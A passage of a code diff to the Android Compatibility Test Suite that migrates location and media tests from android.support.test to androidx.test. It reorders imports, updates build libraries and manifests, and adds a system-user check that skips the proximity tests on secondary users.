@@ -38,9 +38,11 @@
import android.os.HandlerThread;
import android.os.Looper;
import android.os.SystemClock;
+import android.os.UserManager;
import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
import android.test.UiThreadTest;
+import android.util.Log;
import java.util.List;
@@ -52,6 +54,9 @@
* android.permission.ACCESS_LOCATION_EXTRA_COMMANDS to send extra commands to GPS provider
*/
public class LocationManagerTest extends BaseMockLocationTest {
+
+ private static final String TAG = "LocationManagerTest";
+
private static final long TEST_TIME_OUT = 5000;
private static final String TEST_MOCK_PROVIDER_NAME = "test_provider";
@@ -1096,6 +1101,10 @@
* Tests basic proximity alert when entering proximity
*/
public void testEnterProximity() throws Exception {
+ if (!isSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
// need to mock the fused location provider for proximity tests
mockFusedLocation();
@@ -1108,6 +1117,10 @@
* Tests proximity alert when entering proximity, with no expiration
*/
public void testEnterProximity_noexpire() throws Exception {
+ if (!isSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
// need to mock the fused location provider for proximity tests
mockFusedLocation();
@@ -1120,6 +1133,10 @@
* Tests basic proximity alert when exiting proximity
*/
public void testExitProximity() throws Exception {
+ if (!isSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
// need to mock the fused location provider for proximity tests
mockFusedLocation();
@@ -1139,6 +1156,10 @@
* Tests basic proximity alert when initially within proximity
*/
public void testInitiallyWithinProximity() throws Exception {
+ if (!isSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
// need to mock the fused location provider for proximity tests
mockFusedLocation();
@@ -1525,4 +1546,9 @@
}
}
}
+
+ private boolean isSystemUser() {
+ UserManager userManager = mContext.getSystemService(UserManager.class);
+ return userManager.isSystemUser();
+ }
}
diff --git a/tests/tests/location2/Android.mk b/tests/tests/location2/Android.mk
index 4a76b8e..3d22bb7 100644
--- a/tests/tests/location2/Android.mk
+++ b/tests/tests/location2/Android.mk
@@ -24,7 +24,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/location2/AndroidManifest.xml b/tests/tests/location2/AndroidManifest.xml
index df06e28..ff9bc3c 100644
--- a/tests/tests/location2/AndroidManifest.xml
+++ b/tests/tests/location2/AndroidManifest.xml
@@ -27,7 +27,7 @@
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.location2.cts"
android:label="CTS tests of android.location">
<meta-data android:name="listener"
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index d2348db..21e819b 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -45,10 +45,10 @@
LOCAL_MULTILIB := both
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctsdeviceutillegacy \
+ compatibility-device-util-axt \
+ ctsdeviceutillegacy-axt \
ctsmediautil \
- ctstestrunner \
+ ctstestrunner-axt hamcrest-library \
ctstestserver \
junit \
ndkaudio \
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index eca5dd6..4b3e7a0 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -116,17 +116,12 @@
</service>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.media.cts"
android:label="CTS tests of android.media">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
- <instrumentation android:name="android.test.InstrumentationTestRunner"
- android:targetPackage="android.media.cts"
- android:label="MediaPlayer Streaming tests InstrumentationRunner">
- </instrumentation>
-
</manifest>
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index 1a5377a..6e5e4d3 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -35,6 +35,7 @@
<!-- test-timeout unit is ms, value = 30 min -->
<option name="test-timeout" value="1800000" />
<option name="runtime-hint" value="4h" />
+ <option name="exclude-annotation" value="org.junit.Ignore" />
<option name="hidden-api-checks" value="false" />
</test>
</configuration>
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
index 6b9da8a..6ead39e 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordAppOpTest.java
@@ -16,6 +16,15 @@
package android.media.cts;
+import static android.app.AppOpsManager.OP_RECORD_AUDIO;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
import android.app.AppOpsManager;
import android.app.AppOpsManager.OnOpActiveChangedListener;
import android.content.Context;
@@ -24,21 +33,16 @@
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mockito;
import java.util.concurrent.TimeUnit;
-import static android.app.AppOpsManager.OP_RECORD_AUDIO;
-import static com.google.common.truth.Truth.assertThat;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.timeout;
-import static org.mockito.Mockito.verify;
-
/**
* Tests for media framework behaviors related to app ops.
*/
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 45b166b..089f914 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -16,6 +16,13 @@
package android.media.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
import android.app.ActivityManager;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -32,21 +39,16 @@
import android.os.Message;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.testng.Assert.assertThrows;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
import com.android.compatibility.common.util.SystemUtil;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 47a3a31..58a1596 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -27,9 +27,10 @@
import android.media.AudioTrack;
import android.media.PlaybackParams;
import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.LargeTest;
import android.util.Log;
+import androidx.test.filters.LargeTest;
+
import com.android.compatibility.common.util.CtsAndroidTestCase;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.ResultType;
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index 72eddf1..7e53170 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -15,15 +15,10 @@
*/
package android.media.cts;
-import android.media.cts.R;
-
import static org.junit.Assert.assertNotNull;
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import android.annotation.TargetApi;
import android.annotation.SuppressLint;
+import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
@@ -38,12 +33,11 @@
import android.graphics.SurfaceTexture;
import android.media.MediaCodec;
import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodec.CodecException;
import android.media.MediaCodecInfo.VideoCapabilities;
import android.media.MediaCodecList;
import android.media.MediaExtractor;
import android.media.MediaFormat;
-import android.net.Uri;
+import android.media.cts.R;
import android.opengl.EGL14;
import android.opengl.GLES11Ext;
import android.opengl.GLES20;
@@ -53,10 +47,8 @@
import android.os.HandlerThread;
import android.os.Looper;
import android.os.SystemClock;
-import android.support.test.rule.ActivityTestRule;
import android.util.Log;
import android.util.Pair;
-import android.util.SparseArray;
import android.view.PixelCopy;
import android.view.PixelCopy.OnPixelCopyFinishedListener;
import android.view.Surface;
@@ -67,13 +59,22 @@
import android.view.ViewGroup;
import android.widget.RelativeLayout;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+
import java.io.File;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.FloatBuffer;
-import java.util.concurrent.TimeUnit;
import java.util.HashMap;
+import java.util.concurrent.TimeUnit;
import javax.microedition.khronos.egl.EGL10;
import javax.microedition.khronos.egl.EGLConfig;
@@ -81,10 +82,6 @@
import javax.microedition.khronos.egl.EGLDisplay;
import javax.microedition.khronos.egl.EGLSurface;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-
@TargetApi(16)
public class DecodeAccuracyTestBase {
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index e4911ed..4ba1adc 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -16,25 +16,21 @@
package android.media.cts;
-import android.media.cts.R;
+import static org.junit.Assert.*;
import android.app.Instrumentation;
import android.content.res.AssetFileDescriptor;
import android.content.res.Resources;
-import android.media.cts.DecoderTest.AudioParameter;
import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaExtractor;
import android.media.MediaFormat;
-import android.support.test.InstrumentationRegistry;
+import android.media.cts.DecoderTest.AudioParameter;
+import android.media.cts.R;
import android.util.Log;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.InstrumentationRegistry;
-import static org.junit.Assert.*;
import org.junit.Before;
-import org.junit.Rule;
import org.junit.Test;
import java.io.IOException;
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 151c94a..c250fa2 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -16,27 +16,24 @@
package android.media.cts;
-import android.media.cts.R;
+import static org.junit.Assert.*;
import android.app.Instrumentation;
import android.content.res.AssetFileDescriptor;
import android.content.res.Resources;
-import android.media.cts.DecoderTest.AudioParameter;
-import android.media.cts.DecoderTestAacDrc.DrcParams;
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
import android.media.MediaCodecList;
-import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaExtractor;
import android.media.MediaFormat;
-import android.support.test.InstrumentationRegistry;
+import android.media.cts.DecoderTest.AudioParameter;
+import android.media.cts.DecoderTestAacDrc.DrcParams;
+import android.media.cts.R;
import android.util.Log;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.InstrumentationRegistry;
-import static org.junit.Assert.*;
import org.junit.Before;
-import org.junit.Rule;
import org.junit.Test;
import java.io.IOException;
diff --git a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
index 8508ef2..3ea78d1 100755
--- a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
@@ -23,12 +23,14 @@
import android.media.MediaCodecList;
import android.media.MediaFormat;
import android.opengl.GLES20;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+
import com.android.compatibility.common.util.MediaUtils;
+
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
index 9a3392a..90c6572 100755
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
@@ -17,34 +17,34 @@
package android.media.cts;
import android.app.Presentation;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
import android.content.Context;
import android.graphics.drawable.ColorDrawable;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
import android.opengl.GLES20;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.test.AndroidTestCase;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.Display;
import android.view.Surface;
-import android.view.WindowManager;
import android.view.ViewGroup.LayoutParams;
+import android.view.WindowManager;
import android.widget.ImageView;
+import androidx.test.filters.SmallTest;
+
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
-
/**
* Tests connecting a virtual display to the input of a MediaCodec encoder.
* <p>
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
index 6301258..9e6c599 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
@@ -23,17 +23,15 @@
import android.content.Intent;
import android.content.ServiceConnection;
import android.graphics.SurfaceTexture;
-import android.graphics.Typeface;
import android.graphics.drawable.ColorDrawable;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
import android.media.MediaCodec;
import android.media.MediaCodec.BufferInfo;
import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecList;
import android.media.MediaFormat;
+import android.media.cts.R;
import android.opengl.GLES11Ext;
import android.opengl.GLES20;
import android.opengl.Matrix;
@@ -43,15 +41,12 @@
import android.os.Looper;
import android.os.Message;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.test.AndroidTestCase;
-import android.util.AttributeSet;
import android.util.Log;
import android.util.Size;
import android.view.Display;
import android.view.Surface;
-import android.view.TextureView;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewGroup.LayoutParams;
@@ -60,9 +55,8 @@
import android.widget.ImageView;
import android.widget.TableLayout;
import android.widget.TableRow;
-import android.widget.TextView;
-import android.media.cts.R;
+import androidx.test.filters.SmallTest;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
@@ -70,7 +64,6 @@
import java.nio.IntBuffer;
import java.util.ArrayList;
import java.util.Arrays;
-import java.util.HashMap;
import java.util.List;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
index 1104f9b..30c972e 100644
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
@@ -16,6 +16,13 @@
package android.media.cts;
+import static androidx.heifwriter.HeifWriter.INPUT_MODE_BITMAP;
+import static androidx.heifwriter.HeifWriter.INPUT_MODE_BUFFER;
+import static androidx.heifwriter.HeifWriter.INPUT_MODE_SURFACE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Color;
@@ -30,29 +37,15 @@
import android.os.HandlerThread;
import android.os.Process;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.test.AndroidTestCase;
import android.util.Log;
-import static androidx.heifwriter.HeifWriter.INPUT_MODE_BITMAP;
-import static androidx.heifwriter.HeifWriter.INPUT_MODE_BUFFER;
-import static androidx.heifwriter.HeifWriter.INPUT_MODE_SURFACE;
-
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.heifwriter.HeifWriter;
import com.android.compatibility.common.util.MediaUtils;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
import java.io.Closeable;
import java.io.File;
import java.io.FileInputStream;
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
index 4c10cf9..9ced5b1 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
@@ -39,18 +39,19 @@
import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
import android.media.MediaMetadata2;
import android.media.MediaSession2;
-import android.media.SessionCommand2;
import android.media.MediaSession2.CommandButton;
-import android.media.SessionCommandGroup2;
import android.media.MediaSession2.ControllerInfo;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
import android.media.SessionToken2;
import android.os.Bundle;
import android.os.Process;
import android.os.ResultReceiver;
+
import androidx.annotation.CallSuper;
import androidx.annotation.NonNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import junit.framework.Assert;
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index 97cdcdd..692542d 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -26,12 +26,12 @@
import android.media.MediaDescrambler;
import android.os.Handler;
import android.os.HandlerThread;
-import android.os.Looper;
import android.platform.test.annotations.RequiresDevice;
-import android.support.test.filters.SmallTest;
import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+
import java.lang.ArrayIndexOutOfBoundsException;
import java.nio.ByteBuffer;
import java.util.Arrays;
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 648cf26..311c791 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -19,18 +19,18 @@
import android.content.pm.PackageManager;
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecProfileLevel;
-import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaCodecInfo.AudioCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaCodecInfo.EncoderCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
import android.media.MediaCodecList;
import android.media.MediaFormat;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index a4e3a19..f30e0c9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -16,7 +16,6 @@
package android.media.cts;
-import android.media.cts.R;
import android.content.res.AssetFileDescriptor;
import android.content.res.Resources;
import android.media.MediaCodec;
@@ -25,23 +24,25 @@
import android.media.MediaCodec.CryptoInfo;
import android.media.MediaCodec.CryptoInfo.Pattern;
import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecList;
import android.media.MediaCrypto;
import android.media.MediaDrm;
import android.media.MediaExtractor;
import android.media.MediaFormat;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
+import android.media.cts.R;
import android.opengl.GLES20;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.PersistableBundle;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.test.AndroidTestCase;
import android.util.Log;
import android.view.Surface;
+import androidx.test.filters.SmallTest;
+
import com.android.compatibility.common.util.MediaUtils;
import java.io.BufferedInputStream;
diff --git a/tests/tests/media/src/android/media/cts/MediaController2Test.java b/tests/tests/media/src/android/media/cts/MediaController2Test.java
index 721ddf7..755801d 100644
--- a/tests/tests/media/src/android/media/cts/MediaController2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaController2Test.java
@@ -26,7 +26,6 @@
import static org.junit.Assert.fail;
import android.app.PendingIntent;
-import android.content.Context;
import android.content.Intent;
import android.media.AudioManager;
import android.media.MediaController2;
@@ -36,11 +35,11 @@
import android.media.MediaPlayerBase;
import android.media.MediaPlaylistAgent;
import android.media.MediaSession2;
-import android.media.SessionCommand2;
-import android.media.SessionCommandGroup2;
import android.media.MediaSession2.ControllerInfo;
import android.media.MediaSession2.SessionCallback;
import android.media.Rating2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
import android.media.SessionToken2;
import android.media.VolumeProvider2;
import android.media.cts.TestServiceRegistry.SessionServiceCallback;
@@ -51,10 +50,11 @@
import android.os.HandlerThread;
import android.os.Process;
import android.os.ResultReceiver;
+
import androidx.annotation.NonNull;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
index 231cbff..7c9f5b5 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
@@ -23,11 +23,10 @@
import android.media.MediaMetadata2.Builder;
import android.media.Rating2;
import android.os.Bundle;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
-import org.junit.Before;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 98ce1f1..dd0fa09 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -16,35 +16,33 @@
package android.media.cts;
-import android.media.cts.R;
-
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.media.MediaDataSource;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.SmallTest;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import static android.content.pm.PackageManager.FEATURE_WATCH;
import static android.media.MediaMetadataRetriever.OPTION_CLOSEST;
import static android.media.MediaMetadataRetriever.OPTION_CLOSEST_SYNC;
import static android.media.MediaMetadataRetriever.OPTION_NEXT_SYNC;
import static android.media.MediaMetadataRetriever.OPTION_PREVIOUS_SYNC;
-import java.io.InputStream;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.media.MediaDataSource;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.cts.R;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.MediaUtils;
+
import java.io.IOException;
+import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
import java.util.function.Function;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
index a4c5c4c..56a4ed6 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
@@ -20,10 +20,11 @@
import android.os.Build;
import android.os.Environment;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SdkSuppress;
-import android.support.test.rule.GrantPermissionRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.rule.GrantPermissionRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
index 314c051..d8d5cb8 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTestBase.java
@@ -37,8 +37,6 @@
import android.net.Uri;
import android.os.PowerManager;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
import android.util.Base64;
import android.util.Log;
import android.view.SurfaceHolder;
@@ -48,6 +46,8 @@
import androidx.media.DataSourceDesc;
import androidx.media.MediaPlayer2;
import androidx.media.MediaPlayer2.DrmInfo;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
import org.json.JSONArray;
import org.json.JSONException;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
index 2538cea..fe4f7b9 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2Test.java
@@ -15,19 +15,13 @@
*/
package android.media.cts;
-import android.media.cts.R;
-
-import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.AssetFileDescriptor;
-import android.graphics.Rect;
import android.hardware.Camera;
import android.media.AudioAttributes;
import android.media.AudioManager;
import android.media.DataSourceDesc;
-import android.media.MediaCodec;
import android.media.Media2DataSource;
-import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
import android.media.MediaPlayer2;
@@ -36,23 +30,19 @@
import android.media.PlaybackParams;
import android.media.SubtitleData;
import android.media.SyncParams;
-import android.media.TimedText;
import android.media.audiofx.AudioEffect;
import android.media.audiofx.Visualizer;
+import android.media.cts.R;
import android.media.cts.TestUtils.Monitor;
import android.net.Uri;
-import android.os.Bundle;
import android.os.Environment;
-import android.os.IBinder;
import android.os.PowerManager;
-import android.os.ServiceManager;
-import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.util.Log;
+import androidx.test.filters.SmallTest;
+
import com.android.compatibility.common.util.MediaUtils;
import java.io.BufferedReader;
@@ -61,17 +51,11 @@
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
-import java.util.StringTokenizer;
import java.util.UUID;
import java.util.Vector;
-import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
